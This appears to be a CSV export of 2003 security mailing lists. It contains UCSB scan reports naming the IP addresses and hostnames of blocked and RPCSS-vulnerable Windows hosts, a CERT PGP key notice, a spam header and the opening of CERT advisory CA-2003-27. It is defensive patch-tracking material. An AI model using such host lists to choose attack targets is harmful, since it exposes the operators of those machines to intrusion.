[KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.51 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.196.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.209.165 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.227.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.96 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 55 RPCSS Vulnerable ............................. 125 DCOM Disabled ................................ 72 Not Vulnerable ............................... 3751 Errors ....................................... 13 TCP Port 135 Closed or Host Timeout .......... 61575 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 15 Oct 2003 14:52:43 -0400",New CERT Coordination Center (CERT/CC) PGP Key,"-----BEGIN PGP SIGNED MESSAGE----- New CERT Coordination Center (CERT/CC) PGP Key The CERT/CC has generated a new PGP key. We use this key to sign all outgoing email, including documents sent to this list. Effective immediately, this new key is available and will be valid until Monday, November 1, 2004. To obtain further information or to download the new CERT/CC public PGP key, please visit or A copy of the new key has also been included at the bottom of this message and sent to public PGP key servers. The passphrase used to protect the previous CERT/CC PGP key was accidentally exposed to a small number of non-CERT/CC personnel with whom we have a close working relationship. We have no reason to believe the encrypted form of the private key was exposed in any way, but in accordance with good key management practices, we have generated a revocation certificate for the previous PGP key. The revocation certificate for PGP key id 0x3D2BFD15 has also been included below and sent to the public PGP key servers. If you have any questions or comments regarding this information, please contact our hotline at +1 412-268-7090 or email us at cert@cert.org. ______________________________________________________________________ This document is available from: or ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. 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Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBP42PoJZ2NNT/dVAVAQGM6AP/Si0zjWCXRqrqVYnIGbOF7VG+9Ae+KjvJ oo3IC2Arm8P4Ztw8vNwLQtE7w9FgYNWfPziGbx5pSwSEA2htPqHfX+oRY9vgg8Hx ihqwqobfI2g5K3loGkQsCvU4+JNCvuF0y/c8/YDodI3DrvHC0BEzYfnbY+11Z5Cq kVc1Sou8Eu4= =kjeV -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQCNAz9ODi8BrwEEAK7Aozq131hsRQJ1HUmGIhOMnAdJtnVb7o5zrtv25ZJ3O0iD kaSuqx9JSTJXVkuJoNZF4nVbmfk1gw0GBD2yBPYbVAQKlOq0W/zEEXa6R/cGTgWK MBrOz0bnXC3Ed1/aMR/Rg/0n/H8DVrhe0ybw6vssQgcXBM+kJDpmH2w9K/0VAAUR iQCVAwUgP05dyTpmH2w9K/0VAQE2GgP+K+OXttj6D0N9MydzZI4bHxMTwb1t0EkX mlaIVv435ibthRDtghOw6VV/zq51YAtAhJdxjqftQatq42ohLrBygrIUXqftJlMP X46fNbqAL2up5LNti6uNEMvTKw/G82FjVkQPo5S9ZYYikzw7BcNsMpneCEal1MBK TAgVsKwd6Tu0KENFUlQgQ29vcmRpbmF0aW9uIENlbnRlciA8Y2VydEBjZXJ0Lm9y Zz6JAJUDBRA/Tg4vOmYfbD0r/RUBAd/XA/9USS5+CV5em4ooQpOcEw7d/3MqmVRj 7UnibXhJK1T7Hf1ttEQUiiDuC1Awmu7w9hTD4A+4fSbKulvrLrLr2M1KiT9bVWt5 90RptGmgnLPuhjgusEJNdF9lp9c9xVn69BqfIxvHcHtnW5FO4E4or+p/ASJGqGUI vFEExAI6ZvvDIJkAjQM/jKH+AYABBAC9NCzLIR4o5hjIggPpu9VY83d5HYqUR10c uz6ZrykGybhyuVFl2dDyNVtKfX/lDbqzBM2EomgBmmohgrxSbhzyNFULWGoHXgG7 H65OJ+Et9DVgYY4VskCHJ1exMS2aQPkji56VOt6AOy1L8v3PmVsZ/W2Xl75IwA+W djTU/3VQFQAFEbQoQ0VSVCBDb29yZGluYXRpb24gQ2VudGVyIDxjZXJ0QGNlcnQu b3JnPokAlQMFED+Mof6WdjTU/3VQFQEB5j8D/R6otQdfaMuVmcnj88IElauyFi7N v34MdqqEHP9q/SH5FfBQBAw63zixPpWd/zG7TcnwIswvf3HhA9o8rCgW6aGaWVWo NTkwL90JaMWEZxtT+JLP1qQ1TMb/PSndFIyAQH6b0x4uKtI8PASsOczo0TLHlODh KTJ6Jyz9HUuzc6X4iEYEEBECAAYFAj+NS0wACgkQXYr3tqcKhGMLBQCgv6+7Q/9o 18vixI92Jkm298yZEVcAoKjPdBVmrM6T6CzvoHW9DO73EErsiEYEEBECAAYFAj+N S18ACgkQHWlMw1Rb3MQVgwCgzJldauEoDW1DvZqrYdwdyFcsPlwAnRm4zB5/NSnk UJQFBqXYs2f1P6PEiEwEExECAAwFAj+NT3wFgwH5koIACgkQSQjoesB49NKWwQCd F71rr7dhNElR1o2sP6TP3fyGzVYAn2NYpp94oK/VX92dAHOG7QRlhdSD =+mNV -----END PGP PUBLIC KEY BLOCK-----",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA12260 for ; Wed, 15 Oct 2003 14:16:18 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA11553 for ; Wed, 15 Oct 2003 14:16:18 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A9t0E-0003My-Gx; Wed, 15 Oct 2003 14:16:18 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A9t0B-0003Mn-8h; Wed, 15 Oct 2003 14:16:15 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A9t0B-0003Mi-2J; Wed, 15 Oct 2003 14:16:15 -0700 Date: Wed, 15 Oct 2003 14:16:14 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <484240000.1066252574@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A9t0E-0003My-Gx*GULGVGO5u4Y* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.203 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.32.212 A32212.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 128.111.103.50 128.111.103.51 128.111.103.55 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.207.92 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.19.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.48 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.75 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.95.127 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.95.152 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.95.252 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.147.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.86 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.74 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.192 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.57 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.193.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.196.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.165 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.96 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 52 RPCSS Vulnerable ............................. 128 DCOM Disabled ................................ 71 Not Vulnerable ............................... 3702 Errors ....................................... 12 TCP Port 135 Closed or Host Timeout .......... 61623 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"] (helo=han.isotropy.dearriba.com) by smtp2.cistron.nl with esmtp (vee 3.35 #1 (solicitor)) id 736LFL-0066PT-86 Message-ID: <08453193144732.R37410@madras.noc.amongst.gr> Sender: freeradius-devel-CMUYAZR@simcoecounty.com X-Mailman-Version: 2.0.1 Date: Wed, 15 Oct 2003 19:11:44 -0200 From: ""Lorna Mcgill"" To: XXX@XXXXXXXX.XXXXXXX.XXX Subject: Lycos -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - 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You can view these by directing your web browser to: http://astro.berkeley.edu/computing/archives/ Click on the respective link. It is simple, just a flat file of all the emails, so you will have to use the Find In This Page function of the browser to seek for answers to your problems. At some point, it will be revamped to make it more user friendly. Kelley ------------------------------------------------------ Kelley McDonald Sr. Systems Administrator Astronomy Department kelley@astro.berkeley.edu ------------------------------------------------------ ",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 16 Oct 2003 16:02:03 -0400",CERT Advisory CA-2003-27 Multiple Vulnerabilities in Microsoft Windows and Exchange ,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-27 Multiple Vulnerabilities in Microsoft Windows and Exchange Original issue date: October 16, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Multiple versions of Microsoft Windows (ME, NT 4.0, NT 4.0 TSE, 2000, XP, Server 2003) * Microsoft Exchange Server 5.5 and Microsoft Exchange Server 2000 Overview There are multiple vulnerabilities in Microsoft Windows and Microsoft Exchange, the most serious of which could allow remote attackers to execute arbitrary code. I. Description There are a number of vulnerabilities in Microsoft Windows and Microsoft Exchange that could allow an attacker to gain administrative control of a vulnerable system. The most serious of these vulnerabilities allow an unauthenticated, remote attacker to execute arbitrary code with no action required on the part of the victim. For detailed information, see the following vulnerability notes: VU#575892 - Buffer overflow in Microsoft Windows Messenger Service There is a buffer overflow in the Messenger service on most recent versions of Microsoft Windows that could allow an attacker to execute arbitrary code. (Other resources: MS03-043, CAN-2003-0717) VU#422156 - Microsoft Exchange Server fails to properly handle specially crafted SMTP extended verb requests Microsoft Exchange fails to handle certain SMTP extended verbs correctly. In Exchange 5.5, this can lead to a denial-of-service condition. In Exchange 2000, this could permit an attacker to run arbitrary code. (Other resources: MS03-046, CAN-2003-0714) In addition, several other vulnerabilities may permit an attacker to execute arbitrary code if the attacker can convince the victim to take some specific action (e.g., viewing a web page or an HTML email message). For detailed information, see the following vulnerability notes: VU#467036 - Microsoft Windows Help and Support Center contains buffer overflow in code used to handle HCP protocol There is a buffer overflow in the Microsoft Windows Help and Support Center that could permit an attacker to execute arbitrary code with SYSTEM privileges. (Other resources: MS03-044, CAN-2003-0711) VU#989932 - Microsoft Windows contains buffer overflow in Local Troubleshooter ActiveX control (Tshoot.ocx) Microsoft Windows ships with a troubleshooting application to assist users with problems. A vulnerability in this application may permit a remote attacker to execute arbitrary code with the privileges of the current user. (Other resources: MS03-042) VU#838572 - Microsoft Windows Authenticode mechanism installs ActiveX controls without prompting user A vulnerability in Microsoft's Authenticode could allow a remote attacker to install an untrusted ActiveX control on the victim's system. The ActiveX control could run code of the attacker's choice. (Other resources: MS03-041, CAN-2003-0660) VU#435444 - Microsoft Outlook Web Access (OWA) contains cross-site scripting vulnerability in the ""Compose New Message"" form There is a cross-site scripting vulnerability in Microsoft Outlook Web Access. (Other resources: MS03-047, CAN-2003-0712) Finally, there is a vulnerability in ListBox and ComboBox controls that could allow a local user to gain elevated privileges. For detailed information, see VU#967668 - Microsoft Windows ListBox and ComboBox controls vulnerable to buffer overflow when supplied crafted Windows message There is a buffer overflow in a function called by the 